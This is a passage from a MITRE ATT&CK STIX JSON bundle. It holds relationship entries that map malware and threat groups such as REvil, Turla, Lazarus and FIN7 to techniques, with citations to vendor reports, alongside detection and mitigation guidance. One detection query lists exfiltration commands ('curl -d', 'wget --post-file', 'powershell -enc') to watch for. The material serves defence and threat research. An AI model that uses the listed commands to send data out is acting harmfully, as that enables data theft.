                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware"
                }
            ],
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            "modified": "2025-04-28T15:47:19.127Z",
            "description": "[REvil](https://attack.mitre.org/software/S0496) can exfiltrate host and malware information to C2 servers.(Citation: Secureworks REvil September 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
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            "x_mitre_deprecated": false,
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        {
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            "spec_version": "2.1",
            "id": "relationship--4f33536d-eb06-4eba-8765-4379e399f3b8",
            "created": "2017-05-31T21:33:27.080Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "Symantec Shuckworm January 2022",
                    "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"
                },
                {
                    "source_name": "Microsoft Actinium February 2022",
                    "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"
                },
                {
                    "source_name": "Unit 42 Gamaredon February 2022",
                    "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/"
                },
                {
                    "source_name": "Secureworks IRON TILDEN Profile",
                    "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.",
                    "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden"
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            ],
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            ],
            "modified": "2025-04-28T15:47:19.292Z",
            "description": "(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ThreatGeek Derusbi Converge",
                    "description": "Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:47:19.476Z",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.(Citation: ThreatGeek Derusbi Converge)",
            "relationship_type": "uses",
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
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            "x_mitre_deprecated": false,
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            "id": "relationship--4f351992-297b-45b0-b931-7b19875cd0ec",
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            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
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            ],
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            "description": "[Peppy](https://attack.mitre.org/software/S0643) has the ability to execute shell commands.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
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        {
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            "spec_version": "2.1",
            "id": "relationship--4f3ad71b-bcf4-4673-a7ae-f861066110d8",
            "created": "2022-03-30T14:26:51.847Z",
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            "revoked": false,
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            "modified": "2025-04-16T22:14:07.740Z",
            "description": "Monitor executed commands and arguments that may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.\n\nAnalytic 1 - Detecting Alternative Protocol Exfiltration via Command Execution \n\n<code> (EventCode=1 OR source=\"/var/log/audit/audit.log\" type=\"execve\")\n| where (command IN (\"scp\", \"ftp\", \"curl -d\", \"wget --post-file\", \"powershell -enc\", \"tar -cf\", \"7z a\"))\n| eval risk_score=case(\n    command IN (\"scp\", \"rsync\", \"ftp\"), 9,\n    command IN (\"tar -cf\", \"zip -r\"), 8,\n    command IN (\"powershell -enc\", \"wget\"), 7\n)\n| where risk_score >= 8\n| stats count by _time, host, user, command, risk_score</code>",
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            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4f41a697-db81-4df8-8b46-a59d294112fa",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Dragos Crashoverride 2018",
                    "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.",
                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
                }
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            "modified": "2025-04-16T22:14:07.950Z",
            "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) added a login to a SQL Server with `sp_addlinkedsrvlogin`.(Citation: Dragos Crashoverride 2018)",
            "relationship_type": "uses",
            "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234",
            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4f473df1-98ef-4cca-8669-70b7e70a8640",
            "created": "2022-03-30T14:26:51.860Z",
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            "revoked": false,
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            "modified": "2025-04-16T22:14:08.250Z",
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            "relationship_type": "detects",
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            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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                    "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.",
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                    "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.",
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            "description": "[KOPILUWAK](https://attack.mitre.org/software/S1075) has gained execution through malicious attachments.(Citation: Mandiant Suspected Turla Campaign February 2023)",
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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used regsvr32.exe to execute a server variant of [Derusbi](https://attack.mitre.org/software/S0021) in victim networks.(Citation: RSA Shell Crew)",
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                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
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                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved November 17, 2024.",
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                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
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                    "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.",
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                {
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
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                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.",
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                    "source_name": "Symantec Troll Stealer 2024",
                    "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.",
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                    "source_name": "mandiant_apt44_unearthing_sandworm",
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                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                    "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
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            "modified": "2025-04-28T15:47:46.704Z",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the <code>reg query</code> command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .(Citation: ESET Turla PowerShell May 2019)",
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                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.",
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            "revoked": false,
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                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "Microsoft Cryptojacking 2023",
                    "description": "Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"
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            "modified": "2025-04-16T22:14:52.606Z",
            "description": "Monitor for changes to resource groups, such as creating new resource groups or leaving top-level management groups. In Azure environments, monitor for changes to subscriptions.(Citation: Microsoft Cryptojacking 2023) In AWS environments, monitor for API calls such as `CreateAccount` or `LeaveOrganization`.(Citation: AWS RE:Inforce Threat Detection 2024)",
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            "x_mitre_deprecated": false,
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                    "source_name": "Medium Anchor DNS July 2020",
                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020.",
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            "description": "[Anchor](https://attack.mitre.org/software/S0504) can execute payloads via shell scripting.(Citation: Medium Anchor DNS July 2020)",
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            "x_mitre_deprecated": false,
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            "description": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",
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            "spec_version": "2.1",
            "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e",
            "created": "2018-01-16T16:13:52.465Z",
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                {
                    "source_name": "CyberScoop FIN7 Oct 2017",
                    "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.",
                    "url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/"
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.(Citation: CyberScoop FIN7 Oct 2017)",
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            "revoked": false,
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                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
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            "description": "(Citation: Mandiant Pulse Secure Update May 2021)",
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            "id": "relationship--51b34c1f-4e2f-4bb7-98a1-fa90ed873eba",
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            "revoked": false,
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                {
                    "source_name": "SentinelLabs Metador Technical Appendix Sept 2022",
                    "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.",
                    "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"
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            "description": "[metaMain](https://attack.mitre.org/software/S1059) can write the process ID of a target process into the `HKEY_LOCAL_MACHINE\\SOFTWARE\\DDE\\tpid` Registry value as part of its reflective loading activity.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--51b44905-4efe-46f7-968b-feee7401c641",
            "created": "2022-03-30T14:26:51.859Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                }
            ],
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            ],
            "modified": "2025-04-16T22:14:53.686Z",
            "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may leverage Microsoft Office-based applications for persistence between startups. SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--51c5e624-d08e-4750-91f9-fdc98ec56552",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
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            "modified": "2025-04-28T15:47:48.033Z",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.(Citation: Palo Alto MoonWind March 2017)",
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            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "id": "relationship--51c6ea7a-8978-4bd5-9cc1-7d80bb16e70b",
            "created": "2020-01-23T18:56:39.109Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--51cc3f41-f5aa-4d04-95de-15d96e103bac",
            "created": "2020-05-05T20:54:53.062Z",
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            "external_references": [
                {
                    "source_name": "TrendMicro BlackTech June 2017",
                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/"
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            "modified": "2025-04-28T15:47:48.370Z",
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has exploited a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0, CVE-2017-7269, in order to establish a new HTTP or command and control (C2) server.(Citation: TrendMicro BlackTech June 2017)",
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            "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8",
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            "id": "relationship--51cc7dff-7fb4-41bc-a67d-39598f14f1d8",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "Malwarebytes SmokeLoader 2016",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"
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            ],
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            ],
            "modified": "2025-04-28T15:47:48.558Z",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.(Citation: Malwarebytes SmokeLoader 2016)",
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            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
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            "id": "relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49",
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            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
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            "modified": "2025-04-28T15:47:48.728Z",
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                    "description": "CISA et al. (2024, July 8). People\u2019s Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved February 3, 2025.",
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            "description": "[Star Blizzard](https://attack.mitre.org/groups/G1033) has uploaded malicious payloads to cloud storage sites.(Citation: Google TAG COLDRIVER January 2024)",
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            "description": "[Amadey](https://attack.mitre.org/software/S1025) has sent victim data to its C2 servers.(Citation: BlackBerry Amadey 2020)",
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            "description": "[Nebulae](https://attack.mitre.org/software/S0630) can achieve persistence through a Registry Run key.(Citation: Bitdefender Naikon April 2021)",
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                    "source_name": "Checkpoint MosesStaff Nov 2021",
                    "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.",
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                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
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                },
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                    "source_name": "NCCGroup RokRat Nov 2018",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020.",
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This analytic looks for these two events happening in sequence, so that the network connection and target process are output.\n\nCertain strings can be identifiers of the WMI by looking up the interface UUID for <code>IRemUnknown2</code> in different formats\n- UUID\u00a0<code>00000143-0000-0000-c000-000000000046</code>\u00a0(decoded)\n- Hex\u00a0<code>43 01 00 00 00 00 00 00 c0 00 00 00 00 00 00 46</code>\u00a0(raw)\n- ASCII\u00a0<code>CF</code>\u00a0(printable text only)\n\nThis identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement this analytic. The transfer syntax is\n- UUID\u00a0<code>8a885d04-1ceb-11c9-9fe8-08002b104860</code>\u00a0(decoded)\n- Hex\u00a0<code>04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60</code>\u00a0(raw)\n- ASCII <code>`]+H``</code> (printable text only)\n\nThus, a great ASCII based signature is\n- <code>*CF*]+H*CF*CF*host*\"</code>\n\nNote: To detect WMI over RPC (using DCOM), a sensor needs to exist that has the insight into individual connections and can actually decode and make sense of RPC traffic. Specifically, WMI can be detected by looking at RPC traffic where the target interface matches that of WMI, which is IRemUnknown2. Look for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If other processes are spawned from\u00a0wmiprvse.exe in this time frame, it is possible for race conditions to occur, and the wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired command can be extracted.\n\nAnalytic 1 - Monitor for WMI over RPC (DCOM) connections. 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                    "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A"
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                {
                    "source_name": "GitHub QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
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            "modified": "2025-04-16T22:15:28.048Z",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to edit the Registry on the victim\u2019s machine.(Citation: GitHub QuasarRAT)(Citation: CISA AR18-352A Quasar RAT December 2018)",
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                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
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            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) binds and listens on port 443 with a FakeTLS method.(Citation: US-CERT HARDRAIN March 2018)",
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                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"
                },
                {
                    "source_name": "CrowdStrike Wizard Spider October 2020",
                    "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.",
                    "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"
                },
                {
                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
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            "description": "[TA505](https://attack.mitre.org/groups/G0092) has password-protected malicious Word documents.(Citation: Proofpoint TA505 Sep 2017)",
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                    "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023",
                    "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.",
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            "description": "[Uroburos](https://attack.mitre.org/software/S0022) has the ability to use the command line for execution on the targeted system.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)",
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                    "description": "Alex Marvi, Greg Blaum, and Ron Craft. (2023, June 28). Detection, Containment, and Hardening Opportunities for Privileged Guest Operations, Anomalous Behavior, and VMCI Backdoors on Compromised VMware Hosts. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-detection-containment-hardening"
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                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
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            "description": "[Crimson](https://attack.mitre.org/software/S0115) can determine when it has been installed on a host for at least 15 days before downloading the final payload.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
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                    "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022.",
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            "modified": "2025-04-28T15:48:12.313Z",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has performed frequent and scheduled data collection from victim networks.(Citation: Microsoft NICKEL December 2021)",
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            "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can upload files from a compromised host.(Citation: NCSC Cyclops Blink February 2022)",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
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                    "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021.",
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                    "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.",
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            "description": "Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.",
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                    "description": "Cisco Talos. (2024, April 24). ArcaneDoor - New espionage-focused campaign found targeting perimeter network devices. Retrieved January 6, 2025.",
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                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
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            "description": "Several [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) tools encode data with base64 when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                {
                    "source_name": "AADInternals Documentation",
                    "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.",
                    "url": "https://o365blog.com/aadinternals"
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            "description": "[AADInternals](https://attack.mitre.org/software/S0677) can send phishing emails containing malicious links designed to collect users\u2019 credentials.(Citation: AADInternals Documentation)",
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                    "source_name": "Mandiant ROADSWEEP August 2022",
                    "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.",
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            "description": "[ROADSWEEP](https://attack.mitre.org/software/S1150) can pipe command output to a targeted process.(Citation: Mandiant ROADSWEEP August 2022)",
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                    "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020.",
                    "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/"
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                    "source_name": "ESET Grandoreiro April 2020",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
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                    "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020.",
                    "url": "https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/"
                },
                {
                    "source_name": "Crowdstrike Global Threat Report Feb 2018",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"
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                    "source_name": "Visa FIN6 Feb 2019",
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf"
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                    "source_name": "KISA Operation Muzabi",
                    "description": "KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.",
                    "url": "https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has purchased hosting servers with virtual currency and prepaid cards.(Citation: KISA Operation Muzabi)",
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                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b"
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            "modified": "2025-04-28T15:48:17.814Z",
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ",
            "relationship_type": "uses",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "ACSC Email Spoofing",
